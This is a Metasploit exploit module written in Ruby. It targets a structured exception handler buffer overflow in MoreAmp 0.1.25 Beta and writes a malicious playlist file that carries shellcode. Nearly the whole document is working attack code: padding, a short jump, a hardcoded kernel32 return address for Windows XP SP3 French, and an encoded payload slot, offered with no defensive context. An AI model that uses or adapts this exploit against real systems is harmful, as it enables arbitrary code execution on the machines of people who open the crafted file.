MoreAmp – Local Buffer Overflow (SEH) (Metasploit)
#MoreAmp Seh Buffer Overflow (meta) #Greetz:His0k4 , Bibi-info , Volc4n0 #sec4ever.com require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)', 'Description' => %q{ This module exploits a SEH overflow in 0.1.25 MoreAmp Beta By creating a specially crafted .m3u file, an an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => 'MadjiX', 'Version' => 'Version 1', 'References' => [ [ 'OSVDB', '65789' ], [ 'URL', 'http://www.exploit-db.com/exploits/13942/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1400, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32 ], 'Privileged' => false, 'DisclosureDate' => '17-07-2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']), ], self.class) end def exploit sploit = rand_text_alphanumeric(108) sploit << "\xeb\x06\x90\x90" sploit << [target.ret].pack('V') sploit << payload.encoded sploit << rand_text_alphanumeric(400 - payload.encoded.length) maffile = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(maffile) end end |